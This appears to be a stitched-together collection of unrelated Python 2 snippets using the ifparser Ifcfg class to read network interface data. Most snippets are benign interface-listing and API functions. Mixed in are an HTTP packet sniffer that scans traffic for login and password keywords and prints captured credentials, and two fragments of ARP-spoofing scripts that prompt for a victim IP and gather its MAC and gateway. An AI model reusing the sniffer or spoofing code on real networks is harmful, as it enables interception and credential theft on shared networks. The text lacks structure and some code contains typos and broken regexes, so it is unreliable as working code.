def ifconfig(): ifdata = Ifcfg(commands.getoutput('ifconfig -a')) interfaces = ifdata.interfaces total_interfaces_info = [] for interface in interfaces: ifdata = Ifcfg(commands.getoutput('ifconfig -a')) interface_instance = ifdata.get_interface(interface) interface_values = interface_instance.get_values() interface_dict = {'name': interface, 'info': interface_values} total_interfaces_info.append(interface_dict) response = jsonify(total_interfaces_info) return response
def get_interface(name): ifdata = Ifcfg(commands.getoutput('ifconfig -a')) try: interface_instance = ifdata.get_interface(name) interface_values = interface_instance.get_values() interface_dict = {'name': name, 'info': interface_values} except InterfaceNotFound: interface_dict = { 'response': "Can't find this interface", 'status': 'error' } response = jsonify(interface_dict) return response
def getIfdataFromHostname(hostname): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname, port=22, username='******', allow_agent=False) stdin, stdout, stderr = ssh.exec_command('ifconfig') res,err = stdout.read(),stderr.read() result = res if res else err #print(result) ifdata = Ifcfg(result) return ifdata
def delete_network_interfaces(): """Delete network interfaces This function performs a clean up for the following network interfaces virbr[1-4] """ # elevate module re-launches the current process with root/admin privileges # using one of the following mechanisms : sudo (Linux, macOS) # becoming in root elevate(graphical=False) ifdata = Ifcfg(subprocess.check_output(['ifconfig', '-a'])) for interface in range(1, 5): current_interface = 'virbr{}'.format(interface) if current_interface in ifdata.interfaces: # the network interface exists net_object = ifdata.get_interface(current_interface) net_up = net_object.get_values().get('UP') net_running = net_object.get_values().get('RUNNING') if net_up or net_running: # the network interface is up or running try: # down and delete the network interface ifconfig.Interface(current_interface).down() brctl.Bridge(current_interface).delete() except IOError: LOG.warn('[Errno 19] No such device: {}'.format( current_interface)) # adding the network interface try: brctl.addbr(current_interface) except IOError: LOG.warn('[Errno 17] File exists {}'.format(current_interface))
def getWiFiList(): ifdata = Ifcfg(commands.getoutput('ifconfig -a')) wifiList = [] for interface in ifdata.interfaces: try: wifi = Wireless(interface) essid = wifi.getEssid() cmd = subprocess.Popen('iwconfig %s' % interface, shell=True, stdout=subprocess.PIPE) for line in cmd.stdout: if 'Link Quality' in line: sigIndex = line.find("Signal level") levelStr = line[sigIndex + 13:] value = 0 dBm_value = 0 percent = 0 if 'dBm' in levelStr: value = int(levelStr.split(" ")[0]) dBm_value = value # -35 dBm < signal 100% # -95 dBm > signal 0% if dBm_value > -35: percent = 100 elif dBm_value < -95: percent = 0 else: percent = (value + 95) * 100 / 60 pass if '/' in levelStr: value = int(levelStr.split("/")[0]) percent = value dBm_value = (value * 60 / 100) - 95 wifiDescriptor = [interface, essid, dBm_value, percent] wifiList.append(wifiDescriptor) except IOError: pass return wifiList
def setUp(self): fp = open('tests/iftest_4.txt', 'r') data = fp.read() fp.close() self.ifparser = Ifcfg(data, debug=True)
def get_InfoInterface(self, req, eth, **_kwargs): ifdata = Ifcfg(commands.getoutput('ifconfig -a')) interface = ifdata.get_interface(eth) body = json.dumps(interface.get_values()) return Response(content_type='application/json', body=body)
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path def get_credentials(packet): print("in GC") if packet.haslayer(scapy.Raw): load = packet[scapy.Raw].load keywords = ["login", "password", "username", "user", "pass", "name"] for keyword in keywords: if keyword in load: return load def process_packets(packet): if packet.haslayer(http.HTTPRequest): url = get_url(packet) print("[+] Http Request >> " + url) credentials = get_credentials(packet) if credentials: print("[+] Possible username/passowrd " + credentials + "\n\n") ifdata = Ifcfg(commands.getoutput('sudo ifconfig -a')) i = 0 while (i != len(ifdata.interfaces)): print(" [" + str(i) + "] " + ifdata.interfaces[i]) i = i + 1 print("\n") interface = int(raw_input(" Select Interface : ")) sniff_packet(ifdata.interfaces[interface])
import netinfo import subprocess, shlex, re from scapy.all import * import commands from ifparser import Ifcfg def MAC_parser(host): os.popen('ping -c 1 %s' % host) fields = os.popen('grep "%s " /proc/net/arp' % host).read().split() if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": return fields[3] else: print 'no response from', host victim_ip = raw_input("Input victim_ip : ") ifdata = Ifcfg(commands.getoutput('ifconfig -a')) ifdata.interfaces eth0 = ifdata.get_interface('eth0') eth0.BROADCAST mac_add = eth0.hwaddr ip_add = netinfo.get_ip('eth0') strs = subprocess.check_output(shlex.split('ip r l')) match_string = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' gateway = re.search('default via ' + match_string, strs).group(1) print "ip_add : "+ip_add print "mac_add : "+mac_add print "gateway : "+gateway if os.geteuid() != 0: sys.exit("*** Please run as root ***") victim_MAC = MAC_parser(victim_ip) print "victim_MAC : "+victim_MAC
from ifparser import Ifcfg import subprocess, shlex, re from scapy.all import * def mac_parser(host): os.popoen('ping 1 %s' % host) fileds = os.popen('grep %s /proc/net/arp' % host).read().split() if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": return fields[3] else: print ' ***** use sudo plz *****' ,host vic_ip = raw_input("plz write victim's ip :") data = Ifcfg(commands.getoutput('ifconfig -a')) data.interfaces enp0s3 = data.get_interface('enp0s3') enp0s3.BROADCAST add_mac = enp0s3.hwaddr add_ip = netinfo.get_ip('enp0s3') strs = subprocess.check_output(shlex.split('ip r l')) string_match = r'(\d{1,3}\.\d{1.3}\.\d{1.3}\.\d{1.3})' gateway = re.search('default via ' + string_match, strs)
def interfaces(): ifdata = Ifcfg(commands.getoutput('ifconfig -a')) interfaces_array = ifdata.interfaces response = jsonify(interfaces=interfaces_array) return response